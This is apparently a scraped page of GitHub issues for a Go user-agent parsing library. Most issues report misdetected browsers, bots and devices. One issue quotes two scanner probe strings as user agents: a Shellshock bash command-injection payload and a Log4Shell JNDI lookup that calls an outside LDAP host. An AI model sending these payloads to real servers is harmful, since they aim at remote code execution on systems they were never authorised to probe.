mileusna / useragent Goto Github PK
View Code? Open in Web Editor NEWGo/Golang parser for user agent strings
License: MIT License
Go/Golang parser for user agent strings
License: MIT License
Hello,
we were doing some pen test and we use this to parse user agent, unfortunately for below user agents the code is not behaving as it is supposed to and giving incoherent names, we want the name to be Blank or something else to understand wrong user agent.
Sample UserAgents:
() { ignored; }; echo Content-Type: text/plain ; echo ; echo "bash_cve_2014_6271_rce Output : $((70+91))"
${jndi:ldap://log4shell-generic-8ZnJfq2XFL3GWyaLyOpT${lower:ten}.w.nessus.org/nessus}
And this also fails bot check and claims it as not a bot
I have an issue with detecting mobile devices using isAndroid because SamsungBrowser is not recognised as mobile device:
package main
import (
"fmt"
useragentent "github.com/mileusna/useragent"
)
func main() {
ua := useragentent.Parse("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/22.0 Chrome/111.0.5563.116 Safari/537.36")
fmt.Println(ua.IsAndroid())
}
This one gives me false and expected one would be true.
Device information:
Galaxy Tab A8
Model number: SM-X200
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Brave Chrome/87.0.4280.101 Safari/537.36
Is detected as Safari
instead of Chrome
.
I've noticed that if you force a user agent to lowercase, the parser is no longer able to properly detect the browser. I'm not sure if this is because case sensitivity is required to properly parse a user agent, or if its an over site/bug. I can easily work around this by not forcing to lowercase before parsing, but figured I should let you know of the issue.
Aweme 8.2.0 rv:82017 (iPhone6,2; iOS 12.4; zh_CN) Cronet
I think It works better than the most stars one,it have more useful fields for user-agent, thanks for the author!
According to this page: https://developers.facebook.com/docs/sharing/webmasters/crawler/
facebook also has the facebookcatalog
tag.
Hi,
When flutter is used as the frontend for mobile apps, the User agent patterns in IOS sometimes come in this pattern:
CFNetwork/1404.0.5 Darwin/22.3.0 (iPhone iOS/16.3.1)
This is not being supported properly, the response is:
{
"VersionNo": {
"Major": 1404,
"Minor": 0,
"Patch": 5
},
"OSVersionNo": {
"Major": 0,
"Minor": 0,
"Patch": 0
},
"URL": "",
"String": "CFNetwork/1404.0.5 Darwin/22.3.0 (iPhone iOS/16.3.1)",
"Name": "CFNetwork",
"Version": "1404.0.5",
"OS": "",
"OSVersion": "",
"Device": "",
"Mobile": false,
"Tablet": false,
"Desktop": false,
"Bot": false
}
Can we parse the OS Architecture data?
I consider GoogleOther a bot, maybe you do as well :-)
https://developers.google.com/search/docs/crawling-indexing/overview-google-crawlers
Example agent string
Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.117 Mobile Safari/537.36 (compatible; GoogleOther)
Use the code from the readme
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/97.0.4691.0 Safari/537.36
Name: Safari v 537.36
OS: Linux v x86_64
Device:
(Desktop)
I noticed that crawlers for google ads having Mediapartners-Google
in ther user agent are not properly marked as bots. For example, in my logs I have this user agent:
Mozilla/5.0 (Linux; Android 4.0.0; Galaxy Nexus Build/IMM76B) AppleWebKit/537.36 (KHTML, like Gecko; Mediapartners-Google) Chrome/104.0.0.0 Mobile Safari/537.36
Looking through the reference, it appears there are a number of other google crawlers that will not be marked as bots.
Hi,
for example Mozilla/5.0 (SMART-TV; LINUX; Tizen 6.5) AppleWebKit/537.36 (KHTML, like Gecko) 85.0.4183.93/6.5 TV Safari/537.36 is not parsed yet.
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15" is considered as mobile, but it is desktop
I'm not quite sure where this fits in, but currently Seafiles UA is classified as desktop, which in some cases leads to really skewed metrics for me.
Is there a policy regarding such application user agents, should they be considered bots? Or is classifying them as desktop/mobile intended behaviour?
I tried with the following user-agent, and it detected as desktop:
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/79.0.3945.147 Safari/534.24 XiaoMi/MiuiBrowser/12.11.5-gn
If possible, I'll try to make the changes this weekend and send a PR, if not, I'm just registering this User-agent for future improvement.
Thanks a lot
Mozilla/5.0 (X11; Windows) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.61 Safari/537.36 HeyTapBrowser/40.8.26.1 Name:HeyTapBrowser
This useragent string is not classified in your top golang user agent analyzer.
Hi bro, you are doing well, and thank you for your contribution.
Currently, this library supports a few common browsers. Can we add more browsers to make the parse function more exactly?
We have a list of 272 browsers with user agent examples from this link: https://user-agents.net/browsers
Javascript package: https://github.com/faisalman/ua-parser-js/tree/master
thanks for the lib. This is probably a NIT and a low priority. Just putting it here in case it turns out to be more important that I think.
Accessing a resource hosted on gcp through the gcp proxy makes the library completely miss the browser name:
{
"ua": "cloud-run-proxy/source (darwin/arm64) Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"browser": {
"name": "Chrome",
"version": "120.0.0.0",
"major": "120"
},
"cpu": {
"architecture": "arm64"
},
"device": {
"model": "Macintosh",
"vendor": "Apple"
},
"engine": {
"name": "Blink",
"version": "120.0.0.0"
},
"os": {
"name": "macOS",
"version": "10.15.7"
}
}
instead got
{
VersionNo:{Major:0 Minor:0 Patch:0}
OSVersionNo:{Major:10 Minor:15 Patch:7}
URL: String:cloud-run-proxy/source (darwin/arm64) Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Name:cloud-run-proxy
Version:source
OS:macOS
OSVersion:10.15.7
Device:
Mobile:false
Tablet:false
Desktop:true
Bot:false
}
package main
import (
"fmt"
"github.com/mileusna/useragent"
)
func main() {
ua := `cloud-run-proxy/source (darwin/arm64) Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36`
u := useragent.Parse(ua)
fmt.Printf("%+v\n", u)
}
Chrome sends this: "Mozilla/5.0 (Linux; Android 11; Pixel 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.115 Mobile Safari/537.36"
Where Pixel 4 is the device name.
Please add support.
User Agent : Mozilla/5.0 (compatible; Bytespider; [email protected]) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.36
Version : v1.3.4
String | Mozilla/5.0 (compatible; Bytespider; [email protected]) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.36 |
---|---|
Name | Chrome |
Version | 70.0.0.0 |
OS | |
OSVersion | |
Device | |
Mobile | false |
Tablet | false |
Desktop | false |
Bot | false |
using online web test: https://ip360.me/ua/?ua=Mozilla/5.0%20(compatible;%20Bytespider;%[email protected])%20AppleWebKit/537.36%20(KHTML,%20like%20Gecko)%20Chrome/70.0.0.0%20Safari/537.36
Hi @mileusna, is there a way to detect if it's a webview or a browser? thank you
Hello,
We are trying some user agents, and comparing it with this gopackage and https://udger.com/resources/online-parser we find the following differences:
UA String: SonyEricssonK310iv/R4DA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.0
golang: SonyEricssonK310iv, SonyEricssonK310iv, Desktop (Browser, OS, Device are incorrect)
udger: Net Front 3.3, JVM, SmartPhone udger link
UA String: Mozilla/5.0 (compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko)
golang: Konqueror, Konqueror, Desktop (OS is incorrect)
udger: Konqueror, FreeBSD, Desktop udger link
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.